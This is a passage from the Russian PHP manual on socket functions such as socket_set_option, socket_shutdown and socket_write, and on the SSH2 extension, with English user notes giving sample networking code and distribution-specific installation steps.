Beware, when using this function within a loop (i.e. a demon with a socket). The socket_accept(), for example, emits a warning each time there is no incoming connection available to be read. My php error log file got huge in a matter of seconds, eventually crashing the server.

Of course, i used the @ before the function to take care of that problem.

[EDITOR: One can (and should) use socket_select to detect a new connection on a socket (it's a "readable" event)]


Устанавливает опции для сокета

  • « socket_set_nonblock
  • socket_setopt »
  • PHP Manual
  • Функции сокета
  • Устанавливает опции для сокета

socket_set_option

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

socket_set_option — Устанавливает опции для сокета

Описание

socket_set_option(
Socket $socket,
int $level,
int $option,
array|string|int $value
): bool

Функция socket_set_option() устанавливает опцию указанную в параметре option, на уровне протокола level, в значение, указанное параметром value для сокета socket.

Список параметров

socket

Экземпляр Socket, созданный при помощи функции socket_create() или socket_accept().

level

Параметр level указывает уровень протокола, на котором используется опция. Например, чтобы установить опции на уровне сокета, параметр level должен быть установлен в SOL_SOCKET. Другие уровни, такие как TCP, можно использовать, указав номер протокола этого уровня. Номер протоколов можно найти с помощью функции getprotobyname().

option

Возможные опции для сокета те же самые, как и для функции socket_get_option().

value

Значение опции.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.0.0 | socket теперь экземпляр класса Socket; ранее был ресурсом (resource).

Примеры

Пример #1 Пример использования socket_set_option()

<?php
$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);

if (!is_resource($socket)) {
echo 'Не могу создать сокет: '. socket_strerror(socket_last_error()) . PHP_EOL;
}

if (!socket_set_option($socket, SOL_SOCKET, SO_REUSEADDR, 1)) {
echo 'Не могу установить опцию на сокете: '. socket_strerror(socket_last_error()) . PHP_EOL;
}

if (!socket_bind($socket, '127.0.0.1', 1223)) {
echo 'Не могу привязать сокет: '. socket_strerror(socket_last_error()) . PHP_EOL;
}

$rval = socket_get_option($socket, SOL_SOCKET, SO_REUSEADDR);

if ($rval === false) {
echo 'Не могу получить опцию сокета: '. socket_strerror(socket_last_error()) . PHP_EOL;
} else if ($rval !== 0) {
echo 'Опция SO_REUSEADDR установлена на сокете!' . PHP_EOL;
}
?>

Смотрите также

  • socket_create() - Создаёт сокет (конечную точку для обмена информацией)
  • socket_bind() - Привязывает имя к сокету
  • socket_strerror() - Возвращает строку, описывающую ошибку сокета
  • socket_last_error() - Возвращает последнюю ошибку на сокете
  • socket_get_option() - Получает опции потока для сокета

User Contributed Notes

gmail user asmqb7 29-Jun-2019 05:31
PLEASE NOTE

PHP 7.3.6, and probably many previous versions, automatically sets SO_REUSEADDR when you use stream_socket_server().

php_network_bind_socket_to_local_addr() is called at https://github.com/php/php-src/blob/623911f993f39ebbe75abe2771fc89faf6b15b9b/main/streams/xp_socket.c#L675 and defined at https://github.com/php/php-src/blob/61a6a6ec51297506c54f3c6e60ace9b892d0a3e4/main/network.c#L401 and if you take a look you'll see

#ifdef SO_REUSEADDR
            setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, (char*)&sockoptval, sizeof(sockoptval));
#endif

I initially thought I'd need to play with context options to turn this on, but no, the simplest single-arg call with no error checking and just an address, works for me.

strace your PHP binary to be 100% sure:

...
setsockopt(3, SOL_SOCKET, SO_REUSEADDR, [1], 4) = 0
...

The chances are you ARE using SO_REUSEADDR unless you're using a 100-year old UNIX clone in a month with a Z in it.
renmengyang567 at gmail dot com 07-Apr-2019 10:04
<question>
 Why is the size of the buffer 2 times that set by me?
<?php
//Before setting the cache area
$sock = socket_create(AF_INET, SOCK_STREAM, getprotobyname('tcp'));
socket_bind($sock, '127.0.0.1',5000);
socket_listen($sock,1024);
$sndbuf = socket_get_option($sock,SOL_SOCKET,SO_SNDBUF);
$rcvbuf = socket_get_option($sock,SOL_SOCKET,SO_RCVBUF);
printf("send buffer size(??????):%sm \n",$sndbuf/1024);
printf("receive buffer(??????)%sm \n",$rcvbuf/1024);

//After setting the cache area
$snd_buf = 1024*3;
$rcv_buf = 1024*3;

socket_set_option($sock,SOL_SOCKET,SO_SNDBUF, $snd_buf);
socket_set_option($sock,SOL_SOCKET,SO_RCVBUF, $rcv_buf);
$sndbuf = socket_get_option($sock,SOL_SOCKET,SO_SNDBUF);
$rcvbuf = socket_get_option($sock,SOL_SOCKET,SO_RCVBUF);

printf("send buffer size(??????):%sm \n",$sndbuf/1024);
printf("receive buffer size(??????)%sm \n",$rcvbuf/1024);
?>
ckozler at kozler dot net 19-Mar-2012 07:06
It appears that Winsock does not acknowledge timeout (send and receive) on Windows.
DaveRandom 26-Nov-2010 04:13
Setting the socket timeout microseconds ('usec') does not work under Windows, at least under PHP/5.2.9:

<?php

  $timeout = array('sec'=>1,'usec'=>500000);
  socket_set_option($socket,SOL_SOCKET,SO_RCVTIMEO,$timeout);
  var_dump(socket_set_option($socket,SOL_SOCKET,SO_RCVTIMEO));

?>

Output on Windows box:

array(2) {
  ["sec"]=>
  int(1)
  ["usec"]=>
  int(0)
}

Output on Linux box:

array(2) {
  ["sec"]=>
  int(1)
  ["usec"]=>
  int(500000)
}
aeolianmeson at ifacfchi dot blitzeclipse dot com 26-Jun-2008 03:31
Lingering will sometimes not work when you're working with non-blocking sockets. Even if the socket is set to linger and you keep tying to close until the socket doesn't return an error and the resource is no longer identifiable as type 'Socket', the socket may STILL close without sending everything.

Therefore, in the event that you are using non-blocking sockets (which is preferable if you care at all about signaling), you should set the socket as blocking (socket_set_block()) before calling to close it. This will allow everything to flush before it returns.

Dustin Oprea
ludvig dot ericson at gmail dot com 21-Dec-2006 01:06
I would like to comment on the previous note regarding blocking sockets.
There is more to blocking sockets than waiting for data to be received when trying to be read upon, just to make example, a listening blocking socket will wait for a client to try to connect before it returns when you socket_accept() it.
drenintell 30-Apr-2005 05:19
To expand a bit more on what "tim at e2-media dot co dot nz" started.

SO_SNDTIMEO is one of the many constants you can use with socket_set_option.

See http://ca.php.net/manual/en/ref.sockets.php for the available Predefind Constants and visit http://man.he.net/man2/setsockopt for the meaning of the ones relevant.

Tim's example might seem at first a bit non-intuitive since he is using the SO_SNDTIMEO constant. Which means, if the socket has to send out data, it must do it within the limit specified - in his case 10 seconds. Usually you won't set a timeout for sending out data. Nevertheless, the example is valid, and there are situations where you need to do so.

A more intuitive use of socket_set_option would be to set a time out for a blocking socket (a socket that waits for data to be receive when read from). You would do this like so:

socket_set_option($socket,SOL_SOCKET, SO_RCVTIMEO, array("sec"=>0, "usec"=>100));

Notice that sec= 0 and usec= 100; Depending on how long you want your program to wait to recieve data, you might want to change these values.

Regards,
  drenintell
tim at e2-media dot co dot nz 16-May-2004 08:00
To set a socket timeout value (assuming you've set it blocking) use:

socket_set_option(
  $socket,
  SOL_SOCKET,  // socket level
  SO_SNDTIMEO, // timeout option
  array(
    "sec"=>10, // Timeout in seconds
    "usec"=>0  // I assume timeout in microseconds
    )
  );


Псевдоним socket_set_option

  • « socket_set_option
  • socket_shutdown »
  • PHP Manual
  • Функции сокета
  • Псевдоним socket_set_option

socket_setopt

(PHP 4 >= 4.1.0, PHP 5, PHP 7, PHP 8)

socket_setopt — Псевдоним socket_set_option()

Описание

Функция является псевдонимом: socket_set_option().

User Contributed Notes

There are no user contributed notes for this page.


Завершает работу сокета на получение и/или отправку данных

  • « socket_setopt
  • socket_strerror »
  • PHP Manual
  • Функции сокета
  • Завершает работу сокета на получение и/или отправку данных

socket_shutdown

(PHP 4 >= 4.1.0, PHP 5, PHP 7, PHP 8)

socket_shutdown — Завершает работу сокета на получение и/или отправку данных

Описание

socket_shutdown(Socket $socket, int $mode = 2): bool

Функция socket_shutdown() позволяет вам остановить передачу поступающих, исходящих или всех данных (по умолчанию) через сокет socket

Замечание:

Ассоциированный буфер, или буферы, могут быть освобождены, а могут и нет.

Список параметров

socket

Экземпляр Socket, созданный при помощи функции socket_create().

mode

Значение параметра mode может быть одним из следующих:

возможные значения для параметра mode
0 | Завершает чтение из сокета
1 | Завершает запись в сокет
2 | Завершает чтение и запись в сокет

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.0.0 | socket теперь экземпляр класса Socket; ранее был ресурсом (resource).

User Contributed Notes

Anonymous 04-Dec-2022 07:29
Shutting down is a formality two peers can do before closing their connections. It's not required, but it can help assert your I/O procedures, so it's useful.

If writing is shut down, trying to send will result in a pipe error, and the remote peer will read an empty string after receiving all other pending data.

If reading is shut down, trying to receive will return an empty string, and the remote peer will get a pipe error if they try to send.

Writing should be shut down first between two peers. Remaining data should then be read and handled. If anything is sent at this point it should be a "goodbye" (nothing that requires the remote peer to write back to you). Finally, reading can be shut down.

Selection on a shut down channel will always succeed. Similarly, the remote peer will always succeed at selecting the opposite channel.
renmengyang567 at gmail dot com 07-Apr-2019 09:24
<explain>
In this case, the TCP client is gracefully disconnected from the server

<?php

define('BUF_SIZE',10);

// create for tcp
$sock = socket_create(AF_INET, SOCK_STREAM, getprotobyname('tcp'));
socket_bind($sock, '127.0.0.1',5200);
socket_listen($sock,1024);
$fp = fopen('./socket_shutdown.php','rb');
$clnt_sock = socket_accept($sock);

while(!feof($fp)) {
   $str = fread($fp,BUF_SIZE);
   socket_write($clnt_sock,$str,BUF_SIZE);
}

$eof = "\n";
socket_write($clnt_sock,$eof,strlen($eof));

//disconnect output stream(?????)
socket_shutdown($clnt_sock,1);
$ret = socket_read($clnt_sock, 100);
printf("Message from client:%s\n",$ret);
socket_close($clnt_sock);
socket_close($sock);
?>

<?php
// for tcp-client
$clnt_sock = socket_create(AF_INET, SOCK_STREAM, getprotobyname('tcp'));
socket_connect($clnt_sock, '127.0.0.1', 5200);
while (($cnt= @socket_read($clnt_sock, 10,PHP_NORMAL_READ)) !==false) {
   file_put_contents('./receive.data',$cnt,FILE_APPEND);
}
print "receive file data".PHP_EOL;
socket_write($clnt_sock, "Tank you");
socket_close($clnt_sock);
?>
recycling dot sp dot am at gmail dot com 16-Sep-2010 09:09
Shutdown and SOL_TCP:
<?php
$a= socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
socket_shutdown($a, 2)
?>
PHP Warning:  socket_shutdown(): unable to shutdown socket [107]: Transport endpoint is not connected

Shutdown and SOL_UDP:
<?php
$a= socket_create(AF_INET, SOCK_STREAM, SOL_UDP);
socket_shutdown($a, 2)
?>
PHP Warning:  socket_shutdown(): unable to shutdown socket [107]: Transport endpoint is not connected

Conclusion: if you are not actually connected, shutdown will fails with socket_error = 107, Transport endpoint is not connected. This is true for both TPC and UDP connection (which is suprising, UDP being a connectionless protocol). This is true no matter the value set for the how parameter.
richard dot thomas at psysolutions dot com 23-Nov-2005 10:20
That is not a good example of a graceful shutdown. One should close the sending side of the socket and continue to read until the remote end closes its sending connection.
ludvig dot ericson at gmail dot com 02-Sep-2005 01:13
Sockets should be first shutdown and then closed.
<?php
// Sample: Closing sockets gracefully
socket_shutdown($sock, 2);
socket_close($sock);
?>


Возвращает строку, описывающую ошибку сокета

  • « socket_shutdown
  • socket_write »
  • PHP Manual
  • Функции сокета
  • Возвращает строку, описывающую ошибку сокета

socket_strerror

(PHP 4 >= 4.1.0, PHP 5, PHP 7, PHP 8)

socket_strerror — Возвращает строку, описывающую ошибку сокета

Описание

socket_strerror(int $error_code): string

socket_strerror() получает в качестве параметра error_code код ошибки сокета, возвращаемый функцией socket_last_error() и возвращает соответствующий текст с разъяснением.

Замечание:

Хотя сообщения об ошибках, создаваемые модулем socket, на английском языке, системные сообщения, получаемые этой функцией, будут появляться в зависимости от текущей локали (LC_MESSAGES).

Список параметров

error_code

Допустимый код ошибки сокета, скорее всего, возвращённый функцией socket_last_error().

Возвращаемые значения

Возвращает сообщение об ошибке, связанное с параметром error_code.

Примеры

Пример #1 Пример использования socket_strerror()

<?php
if (false == ($socket = @socket_create(AF_INET, SOCK_STREAM, SOL_TCP))) {
echo "socket_create() не выполнена: причина: " . socket_strerror(socket_last_error()) . "\n";
}

if (false == (@socket_bind($socket, '127.0.0.1', 80))) {
echo "socket_bind() не выполнена: причина: " . socket_strerror(socket_last_error($socket)) . "\n";
}
?>

Ожидаемый вывод из примера выше (подразумевается, что скрипт не запущен с привилегиями суперпользователя root):

socket_bind() не выполнена: причина: Доступ запрещён

Смотрите также

  • socket_accept() - Принимает соединение на сокете
  • socket_bind() - Привязывает имя к сокету
  • socket_connect() - Начинает соединение с сокетом
  • socket_listen() - Прослушивает входящие соединения на сокете
  • socket_create() - Создаёт сокет (конечную точку для обмена информацией)

User Contributed Notes

There are no user contributed notes for this page.


Запись в сокет

  • « socket_strerror
  • socket_wsaprotocol_info_export »
  • PHP Manual
  • Функции сокета
  • Запись в сокет

socket_write

(PHP 4 >= 4.1.0, PHP 5, PHP 7, PHP 8)

socket_write — Запись в сокет

Описание

socket_write(Socket $socket, string $data, ?int $length = null): int|false

Функция socket_write() записывает в сокет socket данные из указанного буфера data.

Список параметров

socket

data

Буфер, который будет записан.

length

Необязательный параметр length может указывать другое число байт, записываемых в сокет. Если это число больше, чем длина буфера, оно будет молча урезано до длины буфера.

Возвращаемые значения

Возвращает количество байт, успешно записанных в сокет или false в случае возникновения ошибки. Код ошибки может быть получен при помощи функции socket_last_error(). Этот код может быть передан функции socket_strerror() для получения текстового описания ошибки.

Замечание:

Совершенно нормально для функции socket_write() возвращать ноль, что означает, что ни одного байта не было записано. Пожалуйста, используйте оператор === для проверки значения на false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.0.0 | socket теперь экземпляр класса Socket; ранее был ресурсом (resource).
8.0.0 | length теперь допускает значение null.

Примечания

Замечание:

socket_write() не обязательно записывает все байты из указанного буфера. Нормально то, что, в зависимости от сетевых буферов и т. д., только некоторое количество данных, даже один байт, будет записан, хотя ваш буфер больше. Вы должны следить за тем, чтобы непреднамеренно не забыть передать остаток ваших данных.

Смотрите также

  • socket_accept() - Принимает соединение на сокете
  • socket_bind() - Привязывает имя к сокету
  • socket_connect() - Начинает соединение с сокетом
  • socket_listen() - Прослушивает входящие соединения на сокете
  • socket_read() - Читает строку максимальную длину байт из сокета
  • socket_strerror() - Возвращает строку, описывающую ошибку сокета

User Contributed Notes

anonymous 29-Jul-2021 12:52
sending a few mbs or more results in incomplete transfers, send data in a loop and chunks instead, socket_write reports complete write even though it is only a partial transfer, possibly because of buffer overrun somewhere.

$strlen=strlen($msg);
$totaltransferred=0;

$blocksize=10000;
for ($a=0;$a<$strlen;$a+=$blocksize){
    $part=substr($msg,$a,$blocksize);
    $transferred=socket_write($socket,$part,strlen($part));
    $totaltransferred+=$transferred;
}

if ($totaltransferred<$strlen){
    echo "incomplete transfer";
}
php at deguest dot asia 03-May-2015 08:58
I often read in php docs users not checking for the php function returned value, and in the case of socket_write, I could not see here in the comment anyone botering to read on the socket the server reply.
Then one user thought it would be a good idea to use usleep after a socket_write on a smtp connection.
Actually, if you check the server reply, not only will it give time for the server to reply before you write again on the socket, but also this is a great opportunity to check what the server replied you.
For instance, for smtp connection :
In this example MAIL_SERVER, MAIL_PORT and DEBUG are constants I defined.
<?php
function sendmail( $param )
{
    $from    = &$param[ 'from' ];
    $to      = &$param[ 'to' ];
    $message = &$param[ 'data' ];

    $isError = function( $string )
    {
        if( preg_match( '/^((\d)(\d{2}))/', $string, $matches ) )
        {
            if( $matches[ 2 ] == 4 || $matches[ 2 ] == 5 ) return( $matches[ 1 ] );
        }
        else
        {
            return( false );
        }
    };

    try
    {
        $socket = null;
        if( ( $socket = socket_create( AF_INET, SOCK_STREAM, SOL_TCP ) ) == false )
        {
            throw new Exception( sprintf( "Unable to create a socket: %s", socket_strerror( socket_last_error() ) ) );
        }
        if( !socket_connect( $socket, MAIL_SERVER, MAIL_PORT ) )
        {
            throw new Exception( sprintf( "Unable to connect to server %s: %s", MAIL_SERVER, socket_strerror( socket_last_error() ) ) );
        }
        $read = socket_read( $socket, 1024 );
        if( $read == false )
        {
            throw new Exception( sprintf( "Unable to read from socket: %s", socket_strerror( socket_last_error() ) ) );
        }

        if( socket_write( $socket, sprintf( "HELO %s\r\n", gethostname() ) ) === false )
        {
            throw new Exception( sprintf( "Unable to write to socket: %s", socket_strerror( socket_last_error() ) ) );
        }
        $read = socket_read( $socket, 1024 );
        if( $read == false )
        {
            throw new Exception( sprintf( "Unable to read from socket: %s", socket_strerror( socket_last_error() ) ) );
        }
        else
        {
            if( ( $errCode = $isError( $read ) ) ) throw new Exception( "Server responded with an error code $errCode" );
        }

        if( socket_write( $socket, sprintf( "MAIL FROM: %s\r\n", $from ) ) === false )
        {
            throw new Exception( sprintf( "Unable to write to socket: %s", socket_strerror( socket_last_error() ) ) );
        }
        $read = socket_read( $socket, 1024 );
        if( $read == false )
        {
            throw new Exception( sprintf( "Unable to read from socket: %s", socket_strerror( socket_last_error() ) ) );
        }
        else
        {
            if( ( $errCode = $isError( $read ) ) ) throw new Exception( "Server responded with an error code $errCode" );
        }
        /* And some more code, but not enough place in comment */
        return( $totalWriten );
    }
    catch( Exception $e )
    {
        $ERROR = sprintf( "Error sending mail message at line %d. ", $e->getLine() ) . $e->getMessage();
        return( false );
    }
}
divinity76 at gmail dot com 06-Feb-2015 05:14
function AddTCPChecksum(&$data){
//feel free to add some error handling for strlen($data)>65535...
$data=pack("v",strlen($data)).$data;
}
jean at briskula dot si 03-Feb-2011 03:00
Some clients (Flash's XMLSocket for example) won't fire a read event until a new line is recieved.

<?php
    /*
     * Write to a socket
     * add a newline and null character at the end
     * some clients don't read until new line is recieved
     *
     * try to send the rest of the data if it gets truncated
     */
    function write(&$sock,$msg) {
        $msg = "$msg\n\0";
        $length = strlen($msg);
        while(true) {
            $sent = socket_write($sock,$msg,$length);
            if($sent === false) {
                return false;
            }
            if($sent < $length) {
                $msg = substr($msg, $sent);
                $length -= $sent;
                print("Message truncated: Resending: $msg");
            } else {
                return true;
            }
        }
        return false;
    }
?>
revelable at hotmail dot com 20-Dec-2010 05:08
Here we have the same function to write a socket but with improved performance.

If the messager are not larger, they will be written entirely with a single socket_write() call. And is not needed to call the substr() function for the first bucle.

<?php
$st="Message to sent";
$length = strlen($st);

    while (true) {

        $sent = socket_write($socket, $st, $length);

        if ($sent === false) {

            break;
        }

        // Check if the entire message has been sented
        if ($sent < $length) {

            // If not sent the entire message.
            // Get the part of the message that has not yet been sented as message
            $st = substr($st, $sent);

            // Get the length of the not sented part
            $length -= $sent;

        } else {

            break;
        }

    }
?>
masterwaster at gmail dot com 26-Aug-2008 11:42
Hi,
if you got same problems like i have

<?php
@socket_write($xd, "Good Bye!\n\r");
@socket_shutdown($xd, 2);
@socket_close($xd);
?>

wont'tx send "Good Bye!\n\r" to the opened socket.

but if you put a
usleep or something like echo "";
between write and shutdown its working.
webmaster at you-are-infected dot com 23-Aug-2006 10:27
If you connect to a Server in a way like you do with telnet or some similar protokoll you may have problems with sending data to the server. I found out that at some servers there is a different between:

<?php

    socket_write ($my_socket, $line, strlen ($line));
    socket_write ($my_socket, "\r\n", strlen ("\r\n"));

?>
witch worked at least, and
<?php
    socket_write ($my_socket, $line."\r\n", strlen ($line."\r\n"));
?>
wich made the server stop sending any data.

I hope this helps to save a lot of time. I needed about two days to find out, that this was the problem ;)
gtk at linux dot online dot no 20-Aug-2002 04:43
from http://www.manualy.sk/sock-faq/unix-socket-faq-2.html
read() is equivalent to recv() with a flags parameter of 0. Other values for the flags parameter change the behaviour of recv(). Similarly, write() is equivalent to send() with flags == 0.


Экспорт структуры WSAPROTOCOL_INFO

  • « socket_write
  • socket_wsaprotocol_info_import »
  • PHP Manual
  • Функции сокета
  • Экспорт структуры WSAPROTOCOL_INFO

socket_wsaprotocol_info_export

(PHP 7 >= 7.3.0, PHP 8)

socket_wsaprotocol_info_export — Экспорт структуры WSAPROTOCOL_INFO

Описание

socket_wsaprotocol_info_export(Socket $socket, int $process_id): string|false

Экспортирует структуру WSAPROTOCOL_INFO в разделяемую память и возвращает идентификатор, который можно использовать в socket_wsaprotocol_info_import(). Этот идентификатор пригоден только для использования в процессе с PID, указанным в process_id.

Замечание: Функция доступна только в Windows.

Список параметров

socket

Экземпляр Socket.

process_id

Идентификатор процесса, который будет импортировать сокет.

Возвращаемые значения

Возвращает идентификатор, который можно использовать для импорта или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.0.0 | socket теперь экземпляр класса Socket; ранее был ресурсом (resource).

Смотрите также

  • socket_wsaprotocol_info_import() - Импортирует сокет из другого процесса
  • socket_wsaprotocol_info_release() - Высвобождает экспортированную структуру WSAPROTOCOL_INFO

User Contributed Notes

There are no user contributed notes for this page.


Импортирует сокет из другого процесса

  • « socket_wsaprotocol_info_export
  • socket_wsaprotocol_info_release »
  • PHP Manual
  • Функции сокета
  • Импортирует сокет из другого процесса

socket_wsaprotocol_info_import

(PHP 7 >= 7.3.0, PHP 8)

socket_wsaprotocol_info_import — Импортирует сокет из другого процесса

Описание

socket_wsaprotocol_info_import(string $info_id): Socket|false

Импортирует сокет, который был экспортирован в другом процессе.

Замечание: Функция доступна только в Windows.

Список параметров

info_id

Идентификатор, полученный при вызове socket_wsaprotocol_info_export().

Возвращаемые значения

Возвращает экземпляр Socket в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.0.0 | В случае успешного выполнения функция возвращает экземпляр Socket; ранее возвращался ресурс (resource).

Смотрите также

  • socket_wsaprotocol_info_export() - Экспорт структуры WSAPROTOCOL_INFO

User Contributed Notes

There are no user contributed notes for this page.


Высвобождает экспортированную структуру WSAPROTOCOL_INFO

  • « socket_wsaprotocol_info_import
  • Socket »
  • PHP Manual
  • Функции сокета
  • Высвобождает экспортированную структуру WSAPROTOCOL_INFO

socket_wsaprotocol_info_release

(PHP 7 >= 7.3.0, PHP 8)

socket_wsaprotocol_info_release — Высвобождает экспортированную структуру WSAPROTOCOL_INFO

Описание

socket_wsaprotocol_info_release(string $info_id): bool

Высвобождает разделяемую память, соответствующую заданному info_id.

Замечание: Функция доступна только в Windows.

Список параметров

info_id

Идентификатор, полученный при вызове socket_wsaprotocol_info_export().

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • socket_wsaprotocol_info_export() - Экспорт структуры WSAPROTOCOL_INFO

User Contributed Notes

There are no user contributed notes for this page.


Класс Socket

(PHP 8)

Введение

Полностью непрозрачный класс, заменяющий ресурсы Socket в PHP 8.0.0.

Обзор классов

final class Socket {
}

User Contributed Notes

There are no user contributed notes for this page.


Класс AddressInfo

(PHP 8)

Введение

Полностью непрозрачный класс, заменяющий ресурсы AddressInfo в PHP 8.0.0.

Обзор классов

final class AddressInfo {
}

User Contributed Notes

There are no user contributed notes for this page.


Secure Shell2

  • Введение
  • Установка и настройка
    • Требования
    • Установка
    • Настройка во время выполнения
    • Типы ресурсов
  • Предопределённые константы
  • Функции SSH2
    • ssh2_auth_agent — Аутентификация через SSH с помощью агент ssh
    • ssh2_auth_hostbased_file — Аутентификация с использованием открытого ключа хоста
    • ssh2_auth_none — Аутентификация как "none"
    • ssh2_auth_password — Аутентификация через SSH с использованием обычного пароля
    • ssh2_auth_pubkey_file — Аутентификация с открытым ключом
    • ssh2_connect — Подключение к SSH-серверу
    • ssh2_disconnect — Закрыть соединение с удалённым сервером SSH
    • ssh2_exec — Выполнение команды на удалённом сервере
    • ssh2_fetch_stream — Получение расширенного потока данных
    • ssh2_fingerprint — Получение отпечатка удалённого сервера
    • ssh2_forward_accept — Принимает соединение, созданное слушателем
    • ssh2_forward_listen — Связывает порт на удалённом сервере и прослушивает соединения
    • ssh2_methods_negotiated — Возвращает список согласованных методов
    • ssh2_poll — Опрашивает каналы/слушателей/потоки на предмет событий
    • ssh2_publickey_add — Добавляет авторизованный открытый ключ
    • ssh2_publickey_init — Инициализирует подсистему открытого ключа
    • ssh2_publickey_list — Список уже авторизованных открытых ключей
    • ssh2_publickey_remove — Удаляет авторизованный открытый ключ
    • ssh2_scp_recv — Запрос файла через SCP
    • ssh2_scp_send — Отправка файла через SCP
    • ssh2_send_eof — Отправляет EOF в поток
    • ssh2_sftp_chmod — Изменение прав доступа
    • ssh2_sftp_lstat — Информация о символической ссылке
    • ssh2_sftp_mkdir — Создать директорию
    • ssh2_sftp_readlink — Возвращает объект по символической ссылке
    • ssh2_sftp_realpath — Определяет полный путь по предоставленной строке с путём
    • ssh2_sftp_rename — Переименовывает файл
    • ssh2_sftp_rmdir — Удаляет директорию
    • ssh2_sftp_stat — Информация о файле
    • ssh2_sftp_symlink — Создать символическую ссылку
    • ssh2_sftp_unlink — Удалить файл на сервере
    • ssh2_sftp — Инициализировать подсистему SFTP
    • ssh2_shell — Запрашивает интерактивный терминал
    • ssh2_tunnel — Открыть туннель через удалённый сервер

User Contributed Notes

zelnaga+php at gmail dot com 25-Feb-2009 12:45
if you're trying to connect to an ssh server in an environment where the ssh2 extension cannot be installed this pure-php implementation may be helpful:

http://phpseclib.sourceforge.net/documentation/net.html


Введение

Привязка к библиотеке » libssh2, которая предоставляет доступ к ресурсам (shell, удалённый запуск, туннелирование, передача файлов) на удалённом компьютере с использованием криптографически защищённой передачи данных.

User Contributed Notes

There are no user contributed notes for this page.


Требования

Для установки SSH2 требуется наличие установленных библиотек » OpenSSL и » libssh2. Убедитесь, что указанные библиотеки присутствуют в системе. Типичным названием пакета может быть openssl-dev.

Необходима версия libssh2 1.2 или новее. Однако возможно, что новые релизы pecl/ssh2 потребуют более новые версии (смотрите примечания к релизу).

Функция ssh2_auth_agent() доступна только с версией libssh >= 1.2.3.

Поддержка канальных потоков в stream_set_timeout() доступна только с версией libssh >= 1.2.9.

Libssh2 поставляется в двух вариантах: gcrypt или openssl. Некоторые дистрибутивы Linux собирают libssh2 с библиотекой gcrypt, некоторые с openssl. Libssh2 имеет некоторые проблемы при компиляции с gcrypt, поэтому используйте версию с openssl.

User Contributed Notes

There are no user contributed notes for this page.


Установка

Информация по установке этого модуля PECL может быть найдена в главе руководства Установка PECL модулей. Дополнительная информация, такая как новые версии, скачивание, исходные файлы, информация о разработчике и CHANGELOG, может быть найдена здесь: » https://pecl.php.net/package/ssh2.

Бинарные файлы Windows (файлы DLL) для этого модуля PECL доступны на сайте PECL.

User Contributed Notes

cary dot lewis at gmail dot com 12-Sep-2021 07:49
On centos 8 and rockylinux:

 dnf install php-ssh2
info at kgsw dot de 16-Jul-2021 04:21
on linux debian like (ubuntu) a simple install will also load 'libssh2-1'
$ sudo apt-get update && sudo apt-get install php-ssh2

$ sudo apache2ctl graceful
should make it usable

use phpinfo() function, some sections are now showing additional "ssh2" parts:
- Intro section with new items for "ssh2"
- - Additional .ini files parsed
- - Registered PHP Streams
- ssh2 (new section)
- - showing "SSH2 support - enabled"
kurdtpage at gmail dot com 22-Jun-2018 01:34
The SSH2 binary for Windows (php_ssh2.dll) can be found here: http://pecl.php.net/package/ssh2/1.1.2/windows
pedr0 02-Jun-2017 12:55
Steps for installing on CentOS Linux 7

After having a full webserver running, install packages libssh2.x86_64 and php-pecl-ssh2.x86_64

1. yum install libssh2.x86_64 php-pecl-ssh2.x86_64
2. systemctl restart httpd.service
stanislav dot eckert at vizson dot de 09-Aug-2016 01:00
[Editor's note: unless you have special demands, use the appropriate deps package from <http://windows.php.net/downloads/php-sdk/>.]

SSH2 for Windows is not available from the authors of the extension. But compiled binaries are available from the Apache Lounge (which is recommended by the php.net website too).

Link for PHP 5.3, 5.4, 5.5, 5.6 and 7.0:
https://www.apachelounge.com/viewtopic.php?t=6359

This binaries contain a lot (maybe even all?) for Windows compiled PHP extensions, like the SSH2 extension.

Please note that it is also highly recommended to use their Windows binary builds for the Apache HTTP server from here: https://www.apachelounge.com/download/

Older versions can be choosen from the left menu (VC11, VC10, etc.) if required.

php.net also recommends to use the binary builds from the Apache Lounge.

Maybe this helps developers, who work with Windows and can't find or compile some extensions themself.
domenico dot campagnolo at gmail dot com 08-Aug-2016 03:00
On Ubuntu 16.04 LTS
- PHP 5.6.24-1+deb.sury.org~xenial+1

Using terminal as a root
     apt install php-ssh2
     service apache2 restart
Ders 15-May-2016 09:47
Steps for installing the extension package on Ubuntu 14.04.

Very similar to dreadwestern at gmail dot com recipe, but enable ssh2 in PHP:

> sudo apt-get install libssh2-php
>  php5enmod ssh2
> sudo /etc/init.d/apache2 restart
stanislav dot eckert at vizson dot de 26-Jan-2016 03:15
Since version 0.12 (released 2012-10-15) there is a binary version for Windows.

See here: http://pecl.php.net/package/ssh2/0.12/windows

I tested it with PHP 5.5.29 (32-bit, thread-safe) on my Windows 7 machine.
warkirasep dot puloh at gmail dot com 22-Dec-2015 06:11
Installation For Centos 5.11 x86_64

1. Update your repo

wget http://pkgs.repoforge.org/rpmforge-release/rpmforge-release-0.5.3-1.el5.rf.x86_64.rpm

rpm --import http://apt.sw.be/RPM-GPG-KEY.dag.txt

rpm -K rpmforge-release-0.5.3-1.el5.rf.*.rpm

rpm -i rpmforge-release-0.5.3-1.el5.rf.*.rpm

2. yum install gcc php-devel php-pear libssh2 libssh2-devel
3. pecl install -f ssh2
4. Enable extension from php.ini configuration

extension=ssh2.so

5. Restart HTTPD

/etc/init.d/httpd restart

6. Chek PHP module

php -m

Good Luck
francewhoa+php dot net at ubertus dot ca 21-Nov-2015 11:47
Steps to install "ssh2" on Debian Jessie 8

1. Using Terminal as Root. Run the following command to install the extension package.

apt-get install php5-ssh2

2. Restart Apache2 server

service apache2 restart
sadhooklay AT gmail.com 27-Oct-2015 11:04
Installing on Ubuntu 14.0.4

    sudo pecl channel-update pecl.php.net
    sudo apt-get install libssh2-1-dev
    sudo pecl install -a ssh2-0.12
    echo 'extension=ssh2.so' | sudo tee /etc/php5/mods-available/ssh2.ini > /dev/null
    sudo php5enmod ssh2
warpman at gmail dot com 18-Nov-2014 04:10
Installing this module for use with CentOS 5.?? or 6.?

